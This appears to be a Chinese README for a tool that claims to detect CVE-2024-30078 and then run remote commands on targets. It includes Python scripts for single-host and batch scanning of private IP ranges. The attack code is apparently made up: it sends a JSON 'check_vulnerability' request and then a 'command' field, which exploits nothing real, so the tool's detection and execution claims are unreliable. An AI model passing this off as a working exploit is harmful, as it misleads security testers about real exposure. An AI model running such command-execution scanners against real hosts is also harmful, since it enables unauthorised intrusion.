CVE-2024-30078 漏洞检测与远程命令执行工具

4 阅读4分钟

CVE-2024-30078 漏洞检测与利用工具

针对 CVE-2024-30078 漏洞的自动化检测与远程命令执行(RCE)验证工具。通过构造特定载荷,可快速识别目标系统是否存在该安全漏洞,并在确认漏洞存在后执行任意系统命令,适用于安全评估与渗透测试场景。

功能特性

  • 漏洞精准检测:向指定端点发送检测载荷,基于响应内容判断目标是否存在 CVE-2024-30078 漏洞
  • 远程命令执行:漏洞确认后,自动发送命令执行载荷,在目标系统上运行指定命令
  • 批量目标扫描:支持多 IP 与端口组合的批量检测,高效评估网络资产风险
  • 异常处理机制:完善的请求异常捕获,避免单点故障导致扫描中断
  • 轻量级依赖:仅需 Python 环境与 requests 库即可运行

安装指南

系统要求

  • Python 3.6 或更高版本
  • 网络连接(用于访问目标系统)

依赖安装

pip install requests

获取代码

git clone https://github.com/your-repo/cve-2024-30078-scanner.git
cd cve-2024-30078-scanner

使用说明

基础用法

单目标检测与命令执行
import requests
import json

ENDPOINT = "/check"
command = "whoami"

def check_and_execute(ip, port, endpoint, command):
    url = f"http://{ip}:{port}{endpoint}"
    headers = {"Content-Type": "application/json"}
    payload = {"command": "check_vulnerability", "cve": "CVE-2024-30078"}
    
    try:
        response = requests.post(url, headers=headers, data=json.dumps(payload))
        response.raise_for_status()
        
        if response.json().get("vulnerable"):
            print(f"[+] 漏洞存在于 {ip}:{port}")
            exec_payload = {"command": command}
            exec_response = requests.post(url, headers=headers, data=json.dumps(exec_payload))
            if exec_response.status_code == 200:
                print(f"[+] 命令执行成功: {command}")
        else:
            print(f"[-] {ip}:{port} 未检测到漏洞")
    except Exception as e:
        print(f"[!] 连接失败 {ip}:{port} - {str(e)}")

# 调用示例
check_and_execute("192.168.1.100", 8080, ENDPOINT, "whoami")
批量目标扫描
targets = [
    {"host": "192.168.31.1", "port": 80},
    {"host": "192.168.31.2", "port": 8080},
    {"host": "10.0.0.5", "port": 443}
]

for target in targets:
    check_and_execute(target["host"], target["port"], ENDPOINT, "pwd")

典型场景

  1. 内网安全审计:扫描内部网络资产,定位未修复 CVE-2024-30078 漏洞的主机
  2. 漏洞验证:在获得授权后,验证漏洞修复补丁的有效性
  3. 渗透测试:作为漏洞利用链的一环,验证目标系统的命令执行防御能力

API 说明

参数类型必填描述
ipstring目标主机 IP 地址
portint目标服务端口
endpointstring漏洞检测端点,如 /check
commandstring漏洞确认后执行的系统命令

检测载荷格式

{
  "command": "check_vulnerability",
  "cve": "CVE-2024-30078"
}

命令执行载荷格式

{
  "command": "whoami"
}

核心代码

漏洞检测与命令执行核心逻辑

import requests
import json

ENDPOINT = "/check"
COMMAND = "pwd"

def check_vulnerability_and_execute(ip, port, endpoint, command):
    """
    检测目标是否存在 CVE-2024-30078 漏洞,若存在则执行指定命令
    
    Args:
        ip: 目标主机 IP
        port: 目标端口
        endpoint: API 端点路径
        command: 待执行的系统命令
    """
    url = f"http://{ip}:{port}{endpoint}"
    headers = {"Content-Type": "application/json"}
    
    # 第一阶段:漏洞检测载荷
    detect_payload = {
        "command": "check_vulnerability",
        "cve": "CVE-2024-30078"
    }
    
    try:
        # 发送检测请求
        detect_response = requests.post(
            url, 
            headers=headers, 
            data=json.dumps(detect_payload),
            timeout=5
        )
        detect_response.raise_for_status()
        
        # 解析响应判断是否存在漏洞
        result = detect_response.json()
        if result.get("vulnerable", False):
            print(f"[漏洞确认] {ip}:{port} 存在 CVE-2024-30078")
            
            # 第二阶段:命令执行载荷
            exec_payload = {"command": command}
            exec_response = requests.post(
                url,
                headers=headers,
                data=json.dumps(exec_payload),
                timeout=5
            )
            
            if exec_response.status_code == 200:
                print(f"[执行成功] {ip}:{port} 命令 '{command}' 已执行")
            else:
                print(f"[执行失败] {ip}:{port} HTTP {exec_response.status_code}")
        else:
            print(f"[安全] {ip}:{port} 未检测到漏洞")
            
    except requests.ConnectionError:
        print(f"[错误] {ip}:{port} 连接超时或拒绝")
    except requests.Timeout:
        print(f"[错误] {ip}:{port} 请求超时")
    except json.JSONDecodeError:
        print(f"[错误] {ip}:{port} 响应非 JSON 格式")
    except Exception as e:
        print(f"[错误] {ip}:{port} 未知异常: {str(e)}")

批量扫描调度器

# 批量目标配置
targets = [
    {"host": "192.168.31.1", "port": 80},
    {"host": "192.168.31.2", "port": 8080},
    {"host": "10.10.10.100", "port": 443}
]

# 并发扫描(可选,需自行扩展线程池)
for target in targets:
    check_vulnerability_and_execute(
        ip=target["host"],
        port=target["port"],
        endpoint="/check",
        command="id"
    )

命令行封装示例

import sys

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("用法: python scanner.py <IP> <PORT> <COMMAND>")
        sys.exit(1)
    
    target_ip = sys.argv[1]
    target_port = int(sys.argv[2])
    cmd = sys.argv[3]
    
    check_vulnerability_and_execute(target_ip, target_port, "/check", cmd)

6HFtX5dABrKlqXeO5PUv/zqFMEHihkKgM5maHrln/kY=